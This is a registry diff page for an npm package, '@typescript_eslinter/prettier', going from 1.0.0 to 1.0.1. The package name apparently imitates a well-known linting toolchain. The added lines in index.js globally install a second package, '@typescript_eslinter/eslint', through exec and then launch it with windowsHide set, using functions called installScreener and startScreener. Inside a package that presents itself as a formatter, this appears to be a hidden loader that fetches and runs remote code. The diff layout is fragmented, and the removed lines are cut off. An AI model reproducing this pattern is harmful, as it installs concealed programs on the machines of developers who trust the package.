@typescript_eslinter/prettier 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -17,7 +17,7 @@ function installPm2() {
|
|
17
17
|
// Function to install screener globally
|
18
18
|
function installScreener() {
|
19
19
|
return new Promise((resolve, reject) => {
|
20
|
-
exec('npm install -g @
|
20
|
+
exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => {
|
21
21
|
if (error) {
|
22
22
|
reject(`Error installing PM2: ${stderr}`);
|
23
23
|
} else {
|
@@ -31,7 +31,7 @@ function installScreener() {
|
|
31
31
|
// Function to start the folder with pm2
|
32
32
|
function startScreener() {
|
33
33
|
return new Promise((resolve, reject) => {
|
34
|
-
exec(`
|
34
|
+
exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => {
|
35
35
|
if (error) {
|
36
36
|
reject(`Error starting with PM2: ${stderr}`);
|
37
37
|
} else {
|